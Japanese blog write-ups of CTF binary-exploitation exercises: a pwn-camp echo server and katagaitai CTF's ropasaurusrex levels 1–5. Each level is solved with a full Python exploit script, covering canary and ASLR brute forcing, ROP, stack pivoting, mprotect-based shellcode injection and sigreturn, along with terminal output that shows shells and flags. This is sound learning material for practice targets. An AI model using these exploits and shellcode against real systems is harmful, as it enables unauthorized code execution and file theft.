おかしいな、試したはずなのになぜ…と思いつつも試行錯誤すると確かに leak できた。
もともと試していたリーク方法
dprintf(4, "%x\n\x00", got_dprintf) ⇒ dprintf の処理で使われている strchrnul の中でセグって終わる
うまくいった方法
dprintf(4, got_dprintf)
…(´・ω`・)
ということで、 ret2plt を使って libc_base は一発で求まるようになったため、
Canary Brute Force → ret2plt(libc leak) → ret2libc にて攻略できるようになった。
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct, telnetlib, signal ###################### useful function definition def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) f = s.makefile('rw', bufsize=0) return s, f def read_until(f, delim='\n'): data = '' while not data.endswith(delim): data += f.read(1) return data def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I", a) def u(a): return struct.unpack("<I",a)[0] ###################### main class TimeoutError(Exception): pass def handler(signum, frame): raise TimeoutError() def canaryBruteForce(buf): for i in range(0x100): signal.alarm(0) signal.alarm(1) #print "[+] %d..." % i try: s, f = sock("localhost", 10004) ret = read_until(f) buf1 = buf + chr(i) f.write(buf1) ret = read_until(f) ret = read_until(f) ret = read_until(f) ret = read_until(f) if("Bye!" in ret): print "[+] value is: 0x%02x" % i return buf1 except: pass def main(argv): socketfd = 4 plt_dprintf = 0x80485e0 got_dprintf = 0x804a010 dprintf_offset = 0x4d360 plt_exit = 0x8048650 execve_offset = 0xb5be0 dup2_offset = 0xdb590 binsh_offset = 0x160a24 pop2ret = 0x8048b95 pop3ret = 0x8048b94 buf = "A" * 512 ### guessing Canary print "[+] find Canary" print "[+] finding 1st byte" signal.signal(signal.SIGALRM, handler) buf = canaryBruteForce(buf) print "[+] finding 2nd byte" buf = canaryBruteForce(buf) print "[+] finding 3rd byte" buf = canaryBruteForce(buf) print "[+] finding 4th byte" buf = canaryBruteForce(buf) signal.alarm(0) ### leak libc_addr print "[+] Canary found. start ret2plt" s, f = sock("localhost", 10004) ret = read_until(f) buf1 = buf buf1 += "A" * 12 buf1 += p(plt_dprintf) buf1 += p(pop2ret) buf1 += p(4) buf1 += p(got_dprintf) buf1 += p(plt_exit) buf1 += "AAAA" buf1 += p(0) f.write(buf1+'\n') ret = f.read(560) dprintf_addr = u(f.read(4)) print "[+] dprintf_addr: 0x%x" % dprintf_addr libc_base = dprintf_addr - dprintf_offset print "[+] libc_base: 0x%x" % libc_base ### ret2libc print "[+] start ret2libc" s, f = sock("localhost", 10004) ret = read_until(f) buf2 = buf buf2 += "A" * 12 buf2 += p(libc_base + dup2_offset) buf2 += p(pop2ret) buf2 += p(socketfd) buf2 += p(0) buf2 += p(libc_base + dup2_offset) buf2 += p(pop2ret) buf2 += p(socketfd) buf2 += p(1) buf2 += p(libc_base + dup2_offset) buf2 += p(pop2ret) buf2 += p(socketfd) buf2 += p(2) buf2 += p(libc_base + execve_offset) buf2 += p(pop3ret) buf2 += p(libc_base + binsh_offset) buf2 += p(0) buf2 += p(0) buf2 += p(plt_exit) buf2 += "AAAA" buf2 += p(0) f.write(buf2+'\n') shell(s) if __name__ == '__main__': main(sys.argv)
試行回数激減だ。
[root@ubuntu] # python exploit_echo.py [+] find Canary [+] finding 1st byte [+] value is: 0x00 [+] finding 2nd byte [+] value is: 0x32 [+] finding 3rd byte [+] value is: 0x12 [+] finding 4th byte [+] value is: 0xb3 [+] Canary found. start ret2plt [+] dprintf_addr: 0xf7651360 [+] libc_base: 0xf7604000 [+] start ret2libc Input your message >>Okay! I recieved 609 bytes AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ls / bin boot cdrom dev etc home initrd.img lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz exit *** Connection closed by remote host *** [root@ubuntu] #
計算したlibc_baseからシェルを起動することができた。
おわりに
改めて振返ってみるとこういう経験って慣れ親しんでいるチームメイトともなかなかやらないし、集まってやれたことはとても良かった。最初は参加していいものかビビっていたが、pwnばかり考えて、寝泊りしながら問題解いて、話ができて(←これ重要)、つながれたことは貴重で、明け方にホロ酔いになりながら談笑したことはたぶん忘れない。
最後に。
CTF始めたてで、pwn経験がない方が一人参加されていたけど2日足らずで村人A, Bを突破しBOFの問題にまで手を付けている様子を見て、pwn合宿の威力ハンパねぇw と思った。
あと世の中はすごい人がたくさんいるなという率直な感想。
この威力に負けないよう、そして次はさらに楽しめるようになろうと思う。
運営お疲れ様でした。
katagaitaiCTF ropasaurusrex
7/5(日)に、katagaitaiCTFに参加してきた。
特に目的はbataさんのpwnable. 資料もさることながら説明もわかりやすく、Stack overflowについての知見を多く得た会だった。
題材はPlaid CTFの過去問である"ropasaurusrex" で、これを解くhands on と、このバイナリを魔改造した advanced の構成となっていた。独学の曖昧な知識もしっかりと補完できる、とても有意義な内容だった。
このうち、解けたものをWriteupとして書いていこうと思う。
記載時点ではropasaurusrex5 は解けていないが、これも今後解けたら書く。
(その後解けたためこの解法も追記しました)
ropasaurusrex
これはHands onでもやった内容。バイナリを見ると最大256文字をreadし、その後 "WIN\n" と出力するプログラム。
[root@ubuntu] # nc localhost 1025 aaa WIN [root@ubuntu] #
ただし確保しているBufferは128バイトのため、140文字の後からBuffer over flowが発生する。
なお、いずれの問題もNXとASLRは有効である。
[root@ubuntu] # gdb -q ropasaurusrex Reading symbols from ropasaurusrex...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : disabled gdb-peda$ pattc 256 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b' gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b' Starting program: /home/rintaro/Desktop/pwn/bin/ropasaurusrex <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%b' Program received signal SIGSEGV, Segmentation fault. (snip) Stopped reason: SIGSEGV 0x41416d41 in ?? () gdb-peda$ patto $eip 1094806849 found at offset: 140 gdb-peda$
NXが有効なため、スタック上ではシェルコードを実行できない。
ret2plt を用いることで攻略できるため、Stack状態を以下の状態にして、/bin/sh を取得する。
GOTの write に相当する箇所をsystem関数に書き換えておき、スタックを調整しておくことで、write関数が呼ばれた際にsystem("/bin/sh")が実行される。
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct, telnetlib ###################### useful function definition def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I",a) def u(a): return struct.unpack("<I",a)[0] ###################### main def main(argv): if(len(argv) == 2 and argv[1] == 'r'): print "[+] connect to remote." s, f = sock("XXXXXXXXXX", 1025) else: print "[+] connect to local." s, f = sock("127.0.0.1", 1025) plt_write = 0x804830c got_write = 0x8049614 plt_read = 0x804832c p3ret = 0x80484b6 data = 0x08049620 offset_system = 0x00040190 offset_write = 0x000dac50 buf = "A"*140 # write(STDOUT, got_write, 4) buf += p(plt_write) buf += p(p3ret) buf += p(1) buf += p(got_write) buf += p(4) # read(STDIN, data, 8) buf += p(plt_read) buf += p(p3ret) buf += p(0) buf += p(data) buf += p(8) # read(STDIN, got_write, 4) buf += p(plt_read) buf += p(p3ret) buf += p(0) buf += p(got_write) buf += p(4) # write(data) # system("/bin/sh") buf += p(plt_write) buf += p(0xdeadbeef) buf += p(data) f.write(buf) libc_write = u(f.read(4)) libc_base = libc_write - offset_write libc_system = libc_base + offset_system print "[+] libc_write addr :", format(libc_write,'x') print "[+] libc_base addr :", format(libc_base, 'x') print "[+] libc_system addr:", format(libc_system, 'x') f.write("/bin/sh\0") f.write(p(libc_system)) shell(s) if __name__ == '__main__': main(sys.argv)
これで、flagの読み込みが可能となった。
[root@ubuntu] # python exploit.py r [+] connect to remote. [+] libc_write addr : f76acc50 [+] libc_base addr : f75d2000 [+] libc_system addr: f7612190 ls /home/*/flag* /home/ropasaurusrex/flag cat /home/ropasaurusrex/flag you_cant_stop_the_ropasaurusrex exit *** Connection closed by remote host *** [root@ubuntu] #
ropasaurusrex2
ここから魔改造が始まる。Level2は、入力文字数が160bytesに制限されている。
ROP可能な領域が充分にないため、Stack PivotによりROP領域を.bssに移して実行する。
Old $EBP 領域に、リターン後に .bss が来るよう "移したい箇所 -4" をセットしておき、その後の leave + ret 命令で $ESP を .bss 領域に持っていく。
前半のstack pivot の部分以外は Level1 と同様のやり方で/bin/shを奪取できた。
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct, telnetlib ###################### useful function definition def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I",a) def u(a): return struct.unpack("<I",a)[0] ###################### main def main(argv): if(len(argv) == 2 and argv[1] == 'r'): print "[+] connect to remote." s, f = sock("XXXXXXXXXX", 1026) else: print "[+] connect to local." s, f = sock("127.0.0.1", 1025) plt_write = 0x804830c got_write = 0x8049614 plt_read = 0x804832c p3ret = 0x80484b6 data = 0x08049620 offset_system = 0x00040190 offset_write = 0x000dac50 bss = 0x08049628 + 0x270 leave = 0x080482ea buf = "A"*136 buf += p(bss-4) # read(STDIN, bss, 72) for stack pivot buf += p(plt_read) buf += p(leave) buf += p(0) buf += p(bss) buf += p(72) # write(STDOUT, got_write, 4) buf2 = p(plt_write) buf2 += p(p3ret) buf2 += p(1) buf2 += p(got_write) buf2 += p(4) # read(STDIN, data, 8) buf2 += p(plt_read) buf2 += p(p3ret) buf2 += p(0) buf2 += p(data) buf2 += p(8) # read(STDIN, got_write, 4) buf2 += p(plt_read) buf2 += p(p3ret) buf2 += p(0) buf2 += p(got_write) buf2 += p(4) # write(data) # system("/bin/sh") buf2 += p(plt_write) buf2 += p(0xdeadbeef) buf2 += p(data) f.write(buf) f.write(buf2) libc_write = u(f.read(4)) libc_base = libc_write - offset_write libc_system = libc_base + offset_system print "[+] libc_write addr :", format(libc_write,'x') print "[+] libc_base addr :", format(libc_base, 'x') print "[+] libc_system addr:", format(libc_system, 'x') f.write("/bin/sh\0") f.write(p(libc_system)) shell(s) if __name__ == '__main__': main(sys.argv)
最初はbss領域の先頭にESPを持っていっていたため、system関数が呼ばれた後にESPが頭打ちとなり、SIGSEGVで動かなかったため、.bssの先頭から少し先のアドレスを設定する。
注意点が身になる。
ちなみにここからFlag名が簡単には推測できないようになっている。
[root@ubuntu] # python exploit2.py r [+] connect to remote. [+] libc_write addr : f767fc50 [+] libc_base addr : f75a5000 [+] libc_system addr: f75e5190 ls /home/*/flag* /home/ropasaurusrex2/flag_23296711352720061 cat /home/ropasaurusrex2/flag_23296711352720061 flag{you_cant_stop_the_ropasaurusrex2_but_stack_pivot_help_you!} exit *** Connection closed by remote host *** [root@ubuntu] #
ropasaurusrex3
Level3 では、chrootにより /bin 配下を見れなくなっている。そのため /bin/sh を開くことができない。
以下2通りを考えたが、後者のやり方を実装することにした(mprotectは以前やったことあるのとggったらシェルコードが見つかったため)。
- C言語の関数である opendirとreaddir などを利用してファイルを取得し、その後open, read, write でFlagを読み出す
- mprotect で.bss領域のRWX権限を書き換え、その領域でコードインジェクションを実行する
ディレクトリ読み出しとファイル読み出しのシェルコードは最初頑張って書いていたが、途中でなんとなくggったらすぐ見つかったので少し後悔した。
(参考)
read-dirのシェルコード
read-fileのシェルコード
追記:あとで伺ったところ、このread-dirのシェルコードもbataさんが書いたものだったらしい。神を見た…
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct, telnetlib ###################### useful function definition def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I",a) def u(a): return struct.unpack("<I",a)[0] ###################### main def main(argv): # linux/x86/read-dir(STDOUT) readdir = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+"/\x00" # linux/x86/read-file(STDOUT) readfile = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff"+"flag_1170037582419425558" mode = raw_input('input "dir" or "file"\n') if(mode == 'dir'): shellcode = readdir elif(mode == 'file'): shellcode = readfile else: print 'exit.\n' quit() if(len(argv) == 2 and argv[1] == 'r'): print "[+] connect to remote." s, f = sock("XXXXXXXXXX", 1027) else: print "[+] connect to local." s, f = sock("127.0.0.1", 1025) plt_write = 0x804830c got_write = 0x8049614 plt_read = 0x804832c p3ret = 0x80484b6 offset_mprotect = 0x000e70d0 offset_write = 0x000dac50 bss = 0x08049628 + 0x270 mprotect_to = 0x08049000 leave = 0x080482ea buf = "A"*136 buf += p(bss-4) # read(STDIN, bss, 80) for stack pivot buf += p(plt_read) buf += p(leave) buf += p(0) buf += p(bss) buf += p(80) # write(STDOUT, got_write, 4) buf2 = p(plt_write) buf2 += p(p3ret) buf2 += p(1) buf2 += p(got_write) buf2 += p(4) # read(STDIN, bss+80, len(shellcode)) buf2 += p(plt_read) buf2 += p(p3ret) buf2 += p(0) buf2 += p(bss+80) buf2 += p(len(shellcode)) # read(STDIN, got_write, 4) # read mprotect to got_write buf2 += p(plt_read) buf2 += p(p3ret) buf2 += p(0) buf2 += p(got_write) buf2 += p(4) # write(bss+80) # mprotect(.bss, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC) buf2 += p(plt_write) buf2 += p(bss+80) buf2 += p(mprotect_to) buf2 += p(0x1000) buf2 += p(7) f.write(buf) f.write(buf2) libc_write = u(f.read(4)) libc_base = libc_write - offset_write libc_mprotect = libc_base + offset_mprotect print "[+] libc_write addr :", format(libc_write,'x') print "[+] libc_base addr :", format(libc_base, 'x') print "[+] libc_mprotect addr:", format(libc_mprotect, 'x') f.write(shellcode) f.write(p(libc_mprotect)) shell(s) if __name__ == '__main__': main(sys.argv)
mprotect を実行する際のアドレスは、最初は末尾3ビットが"000"以外のところからやろうとしたら失敗していたため試行錯誤した。
0x1000単位で実行してみるとうまく書き換わったため、ひとつ新しい発見になった。
[root@ubuntu] # python exploit3.py r input "dir" or "file" dir [+] connect to remote. [+] libc_write addr : f764ac50 [+] libc_base addr : f7570000 [+] libc_mprotect addr: f76570d0 .. . ropasaurusrex3 flag_1170037582419425558 lib timeout E: Child terminated by signal ‘Segmentation fault’ *** Connection closed by remote host *** [root@ubuntu] # [root@ubuntu] # [root@ubuntu] # python exploit3.py r input "dir" or "file" file [+] connect to remote. [+] libc_write addr : f7636c50 [+] libc_base addr : f755c000 [+] libc_mprotect addr: f76430d0 flag{omg!the_ropasaurusrex3_with_chroot_has_solved!?congrats!!} *** Connection closed by remote host *** [root@ubuntu] #
ropasaurusrex4
Level4は、Level3に加え、さらに call write() と write@plt が潰されており、libcの情報をリークできない。また、今回のバイナリはxinetd型で動いているため、ASLRの影響で接続する度にアドレス配置が変わる。
x86のASLRは以前にもBrute Forceで突破して解いたことがあったため、これはピンときた。
これまでに解いた ropasaurusrex について、以下のようなスクリプトを実行し libc のベースアドレスをいくつか見てみる。
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct ###################### useful function definition def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def p(a): return struct.pack("<I",a) def u(a): return struct.unpack("<I",a)[0] ###################### main def main(argv): if(len(argv) == 2 and argv[1] == 'r'): print "[+] connect to remote." s, f = sock("XXXXXXXXXX", 1028) else: print "[+] connect to local." s, f = sock("127.0.0.1", 1025) plt_write = 0x804830c got_write = 0x8049614 offset_write = 0x000dac50 buf = "A"*140 # write(STDOUT, got_write, 4) buf += p(plt_write) buf += "AAAA" buf += p(1) buf += p(got_write) buf += p(4) f.write(buf) libc_write = u(f.read(4)) print "[+] libc_base addr :", format(libc_write - offset_write, 'x') if __name__ == '__main__': main(sys.argv)
結果(抜粋)
[+] libc_base addr : f7592000 [+] libc_base addr : f75e8000 [+] libc_base addr : f7566000 [+] libc_base addr : f75db000 [+] libc_base addr : f755d000 [+] libc_base addr : f75e4000 [+] libc_base addr : f7613000 [+] libc_base addr : f75bf000 [+] libc_base addr : f7543000 [+] libc_base addr : f75dd000
x86では、ランダマイズされるアドレス空間が狭い。
例えば、上記結果を見ると左から2bitは固定、3bit目も"5" か "6" のみである。また、末尾3bitも"000"で固定のため、今回はBruteForceでの突破のアプローチで攻める。
BruteForce実施時の libc_base は、上記のうち最小と最大のものの中間値(0xf75ab000)に固定し、読み出せるまでスクリプトを回した。
なお、GOT のアドレスは書き換える手間がないので、.bssに詰むものはシンプルになる。
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct, telnetlib ###################### useful function definition def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) return s, s.makefile('rw', bufsize=0) def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I",a) def u(a): return struct.unpack("<I",a)[0] ###################### main def main(argv): # linux/x86/read-dir(STDOUT) readdir = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+"/\x00" # linux/x86/read-file(STDOUT) readfile = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff"+"flag_326175712236627770" mode = raw_input('input "dir" or "file"\n') if(mode == 'dir'): shellcode = readdir elif(mode == 'file'): shellcode = readfile else: print 'exit.\n' quit() plt_libc_start_main = 0x0804831C got_libc_start_main = 0x08049618 plt_read = 0x804832c p3ret = 0x80484b6 offset_mprotect = 0x000e70d0 bss = 0x08049628 + 0x270 mprotect_to = 0x08049000 leave = 0x080482ea # guess libc_base = 0xf75ab000 libc_mprotect = libc_base + offset_mprotect i = 1 while True: if(len(argv) == 2 and argv[1] == 'r'): print "[+] connect to remote." s, f = sock("XXXXXXXXXX", 1028) else: print "[+] connect to local." s, f = sock("127.0.0.1", 1025) print "[+] %d..." % i buf = "A"*136 buf += p(bss-4) # read(STDIN, bss, 40) for stack pivot buf += p(plt_read) buf += p(leave) buf += p(0) buf += p(bss) buf += p(40) # read(STDIN, bss+40, len(shellcode)) buf2 = p(plt_read) buf2 += p(p3ret) buf2 += p(0) buf2 += p(bss+40) buf2 += p(len(shellcode)) # mprotect(.bss, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC) buf2 += p(libc_mprotect) buf2 += p(bss+40) buf2 += p(mprotect_to) buf2 += p(0x1000) buf2 += p(7) f.write(buf) f.write(buf2) f.write(shellcode) shell(s) i += 1 if __name__ == '__main__': main(sys.argv)
これでLevel4についてもflagが取得できた。
[root@ubuntu] # python exploit4.py r input "dir" or "file" dir [+] connect to remote. [+] 1... E: Child terminated by signal ‘Segmentation fault’ *** Connection closed by remote host *** (snip) [+] connect to remote. [+] 260... .. ropasaurusrex4 . flag_326175712236627770 lib timeout E: Child terminated by signal ‘Segmentation fault’ *** Connection closed by remote host *** [+] connect to remote. [+] 261... ^CTraceback (most recent call last): File "exploit4-2.py", line 92, in <module> main(sys.argv) File "exploit4-2.py", line 88, in main shell(s) File "exploit4-2.py", line 14, in shell t.interact() File "/usr/lib/python2.7/telnetlib.py", line 590, in interact rfd, wfd, xfd = select.select([self, sys.stdin], [], []) [root@ubuntu] [root@ubuntu] [root@ubuntu] # python exploit4.py r input "dir" or "file" file [+] connect to remote. [+] 1... E: Child terminated by signal ‘Segmentation fault’ *** Connection closed by remote host *** (snip) [+] connect to remote. [+] 107... flag{32bit_library_aslr_is_very_weak_so_you_can_defeat_the_ropasaurusrex4!} *** Connection closed by remote host *** [+] connect to remote. [+] 108... ^CTraceback (most recent call last): File "exploit4-2.py", line 92, in <module> main(sys.argv) File "exploit4-2.py", line 88, in main shell(s) File "exploit4-2.py", line 14, in shell t.interact() File "/usr/lib/python2.7/telnetlib.py", line 590, in interact rfd, wfd, xfd = select.select([self, sys.stdin], [], []) KeyboardInterrupt [root@ubuntu]
ropasaurusrex5
Level5.bataさん曰く、「libcは甘え」らしい(「libcは甘え」らしいorz)
libcを使わずにExploitをしなければならない。
今のところまだ解法が思いついていないので、今日の夜までに頑張ってみようと思う。
サーバが落ちた後でも、ローカルでできたら追記する予定。
追記:
Level5も解けたため追記。
Level5は、offset 128 bytes から Return address を書き換え可能。
最初は.text領域のROP芸のみでmprotectのシステムコールを呼び出しシェルコードを実行しようとしていたが、ROPガジェットが足りない。
ここでやり方を見直し(時間かかった…)、sigreturn を呼び出すことで全レジスタの値をStackから復元できることに気付く。
sigreturnが呼び出された際には、Stack上の値を複数のレジスタに復元することができる。
このときの構造は、sigcontext構造体の定義のとおりとなる。
なお、システムコール番号はこちらを参照した。
よって、sigreturnを呼び、そのあとは Level3,4 と同じくmprotectを発生させてコードインジェクションというアプローチにする。
Level3のときのmprotect呼び出し直前のレジスタの状態を見てみると以下のとおり。基本はこれに従ってsigcontextの中身を構築する
gdb-peda$ i reg eax 0x7d # システムコール番号 ecx 0x1000 # サイズ edx 0x7 # RWX ebx 0x8049000 # 開始したい場所 esp 0x80498c4 ebp 0x80498c4 esi 0x0 edi 0x8049614 eip 0xf7fdb425 eflags 0x207 cs 0x23 ss 0x2b ds 0x2b es 0x2b fs 0x0 gs 0x63
しかし最初のsigreturn呼び出し時のeax(システムコール番号)のセット方法がよくわからない。
ここで他の人の解法を参照してみると、Write関数で119文字書き込めると戻り値で119がセットされることがわかる。頭いい…
これを利用し、
write → sigreturn → mprotect → read(shellcode流し込み)→ shellcode の順番に呼び出すことにする。
Level5は、256文字入力可能なため、mprotect発動までに利用できる領域は128bytes分である。
また、sigreturn時にespも書き換わるため、このときにRWX可能な箇所にStack Pivotする。
mprotect後のリターンアドレスは、vuln関数へのポインタとなっているアドレスを指定し、ret2vulnにて再度read関数を実行させる。
このreadで、RWX可能且つ使われていない領域にシェルコードを流し込み、実行する。
#!/usr/bin/python # -*- coding: utf-8 -*- import sys, socket, struct, telnetlib, time ###################### useful function definition def sock(remoteip, remoteport): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((remoteip, remoteport)) f = s.makefile('rw', bufsize=0) return s, f def shell(s): t = telnetlib.Telnet() t.sock = s t.interact() def p(a): return struct.pack("<I", a) def u(a): return struct.unpack("<I",a)[0] ###################### main def main(argv): readdir = "\xEB\x38\x5B\x31\xC9\x31\xD2\x6A\x05\x58\xCD\x80\x93\x91\xB2\x7F\xB0\x59\x60\xCD\x80\x85\xC0\x74\x26\xB3\x01\x66\x0F\xB6\x51\x08\x8D\x4C\x19\x09\xB0\x04\xCD\x80\xB2\x01\x8D\x4A\x09\x51\x89\xE5\x55\x59\xB0\x04\xCD\x80\x58\x61\xEB\xD8\xE8\xC3\xFF\xFF\xFF"+"/\x00" readfile = '\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x06\xb0\x01\x31\xdb\xcd\x80\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\xe6\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xe8\xc9\xff\xff\xff'+'/flag' mode = raw_input('input "dir" or "file"\n') if(mode == 'dir'): shellcode = readdir elif(mode == 'file'): shellcode = readfile else: print 'exit.\n' quit() if(len(argv) == 2 and argv[1] == 'r'): print "[+] connect to remote." s, f = sock("XXXXXXXXXX", 1029) else: print "[+] connect to local." s, f = sock("127.0.0.1", 1025) write_addr = 0x80480d2 read_addr = 0x80480b8 text_base = 0x8048000 int80ret = 0x80480cf func_vuln = 0x8048468 shellcode_addr = 0x8048600 buf = 'A' * 128 # mov eax, 119; int 0x80; ret; buf += p(write_addr) buf += p(int80ret) buf += p(1) # STDOUT, also gs buf += p(text_base) # write addr, also fs buf += p(119) # sigreturn syscall num, also es # struct sigframe buf += p(0x2b) # ds from i reg buf += p(0) # edi not used buf += p(0) # esi from i reg buf += p(0) # ebp Null buf += p(func_vuln) # esp Stack Pivot addr(return addr) buf += p(text_base) # ebx mprotect to buf += p(7) # edx PROT_READ|PROT_WRITE|PROT_EXEC buf += p(0x1000) # ecx size(0x1000) buf += p(0x7d) # eax system call num(0x7d) buf += p(0) # trapno Null buf += p(0) # err Null buf += p(int80ret) # eip int 0x80; ret; buf += p(0x23) # cs/__csh from i reg buf += p(0x207) # eflags from i reg buf += p(0) # esp_at_signal Null buf += p(0x2b) # ss/__ssh from i reg buf += p(0) # &fpstate Null buf += p(0) # oldmask Null buf += p(0) # cr2 Null # read(STDIN, tmp addr, len(shellcode)) buf2 = 'A' * 128 buf2 += p(read_addr) buf2 += p(shellcode_addr) buf2 += p(0) buf2 += p(shellcode_addr) buf2 += p(len(shellcode)) f.write(buf) time.sleep(0.5) f.write(buf2) f.write(shellcode) shell(s) if __name__ == '__main__': main(sys.argv)
途中どうしてもうまくいかず悩んでいたが、bufとbuf2を送り込む前にsleepを入れると想定通りの挙動となった。
今回の攻略は、リモートサーバが停止していたためローカルにて実施。chrootは実施していないためローカルの / 配下が表示されていることがわかる。
[root@ubuntu] # python exploit5.py input "dir" or "file" dir [+] connect to local. WIN ELFF�4l4 ( ���������$$Q�tWIN libx32 opt tmp srv home .. . var usr sbin cdrom lib32 media run vmlinuz proc lib mnt bin sys dev boot initrd.img etc root lost+found lib64 *** Connection closed by remote host *** [root@ubuntu] #
sigreturn強い…。x64でもこれは使えそうだ。
それにしても独学でやってきたBOFについて、ここまで丁寧に説明してもらえたことは今までのCTF活動の中で一番と言ってよいほど有意義だったと思う。
このごろ燻ぶっていたけれど、久しぶりにやる気に火がついた気がした。
まだ学ぶことも多いし、周りのスピードも信じられないぐらい早い。
そんな中でも、こんなに良いきっかけを与えたくれたkatagaitaiや運営の方々には大変感謝したい。
